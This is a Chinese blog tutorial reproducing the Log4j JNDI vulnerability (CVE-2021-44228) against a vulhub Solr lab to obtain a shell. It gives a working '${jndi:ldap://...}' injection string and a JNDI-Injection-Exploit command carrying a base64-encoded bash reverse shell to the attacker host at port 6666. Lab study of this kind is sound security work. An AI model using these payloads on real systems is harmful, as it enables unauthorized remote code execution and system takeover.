Log4j漏洞环境搭建以及复现拿getshell

环境搭建

为了实验效果,准备两台设备

kali:10.1.1.17

Windows本机:10.1.1.240

kali虚拟机安装docker环境和vulhub环境

安装方法详情:​​​​​​Vulhub - Docker-Compose file for vulnerability environment

启动docker

进入vulhub/log4j/CVE-2021-44228

启动环境(我是启动过一次,首次启动需要进行编译,需要1-2分钟左右)

docker-compose up -d

Windows主机访问

http://10.1.1.17:8983/solr/admin/cores?action=1

出现以下页面说明搭建成功

 漏洞复现

首先验证漏洞是否存在

http://www.dnslog.cn/    上获取一个地址

利用临时获取的payload访问原来的地址,并将action的参数换成payload

http://10.1.1.17:8983/solr/admin/cores?action=${jndi:ldap://6l6xcv.dnslog.cn}

 回到dnslog点击Refresh Record,出现返回结果,说明存在log4j漏洞

 进行攻击

 应用工具JNDI-Injection-Exploit搭建服务:

下载:

利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

格式:

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

 对执行的命令进行加密bash64进行加密

windows本机(10.1.1.240)进行执行

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjQwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 10.1.1.240

得到rmi、ldap参数:

 

 然后用windows本机进行监听

将DNS的payload换成刚获得的ldap的参数,然后回车访问

 

 查看监听发现已经反弹shell

 


版权声明:本文为qq_40898302原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。